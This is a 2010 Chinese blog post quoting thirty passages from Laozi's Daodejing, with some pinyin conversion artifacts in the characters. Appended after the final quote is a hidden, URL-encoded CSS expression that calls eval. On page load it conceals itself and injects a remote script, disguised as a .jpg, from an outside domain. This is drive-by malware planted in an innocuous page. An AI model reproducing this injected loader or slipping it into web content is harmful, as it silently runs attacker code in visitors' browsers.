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老子精言

 hailangtaotao 2010-03-28



                                  老子青牛

1道可道,非常道。名可名,非常名。無名天地之始;有名萬物之母。
2天下皆知美之為美,斯惡已。皆知善之為善,斯不善已。
3有無相生,難易相成,長(zhǎng)短相形,高下相盈,音聲相和,前后相隨。恒也。
4上善若水。水善利萬物而不爭(zhēng),處眾人之所惡,故幾于道。
5持而盈之,不如其已;揣而銳之,不可長(zhǎng)保。金玉滿堂,莫之能守;富貴而驕,自遺其咎。功遂身退,天之道也。
6曲則全,枉則直,洼則盈,敝則新,少則多,多則惑。
7是以圣人抱一為天下式。不自見,故明;不自是,故彰;不自伐,故有功;不自矜,故長(zhǎng)。夫唯不爭(zhēng),故天下莫能與之爭(zhēng)。
8企者不立;跨者不行;自見者不明;自是者不彰;自伐者無功;自矜者不長(zhǎng)。
9人法地,地法天,天法道,道法自然。
10天下萬物生于有,有生于無。
11上士聞道,勤而行之;中士聞道,若存若亡;下士聞道,大笑之。不笑不足以為道。故建言有之:明道若昧;進(jìn)道若退;夷道若□;上德若谷;廣德若不足;建德若偷;質(zhì)真若渝;大白若辱;大方無隅;大器晚成;大音希聲;大象無形;道隱無名。
12道生一,一生二,二生三,三生萬物。萬物負(fù)陰而抱陽,沖氣以為和。
13大成若缺,其用不弊。大盈若沖,其用不窮。大直若屈,大巧若拙,大辯若訥。
14.靜勝躁,寒勝熱。清靜為天下正。
15禍莫大于不知足;咎莫大于欲得。故知足之足,常足矣。
16圣人常無心,以百姓心為心。
17知者不言,言者不知。
18以正治國(guó),以奇用兵,以無事取天下。吾何以知其然哉?以此:天下多忌諱,而民彌貧;人多利器,國(guó)家滋昏;人多伎巧,奇物滋起;法令滋彰,盜賊多有。故圣人云:“我無為,而民自化;我好靜,而民自正;我無事,而民自富;我無欲,而民自樸。”
19禍兮福之所倚,福兮禍之所伏。孰知其極?其無正也。正復(fù)為奇,善復(fù)為妖。人之迷,其日固久。
20治大國(guó),若烹小鮮
21合抱之木,生于毫末;九層之臺(tái),起于累土;千里之行,始于足下
22古之善為道者,非以明民,將以愚之。民之難治,以其智多。故以智治國(guó),國(guó)之賊;不以智治國(guó),國(guó)之福。
23我有三寶,持而保之。一曰慈,二曰儉,三曰不敢為天下先。
24民不畏威,則大威至。
25天網(wǎng)恢恢,疏而不失。
26人之生也柔弱,其死也堅(jiān)強(qiáng)。草木之生也柔脆,其死也枯槁。故堅(jiān)強(qiáng)者死之徒,柔弱者生之徒。是以兵強(qiáng)則滅,木強(qiáng)則折。強(qiáng)大處下,柔弱處上。
27天之道,其猶張弓歟?高者抑之,下者舉之;有馀者損之,不足者補(bǔ)之。天之道,損有馀而補(bǔ)不足。人之道,則不然,損不足以奉有馀。孰能有馀以奉天下,唯有道者。
28天下莫柔弱于水,而攻堅(jiān)強(qiáng)者莫之能勝,以其無以易之。
29弱之勝強(qiáng),柔之勝剛,天下莫不知,莫能行。
30信言不美,美言不信。善者不辯,辯者不善。知者不博,博者不知。id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com">

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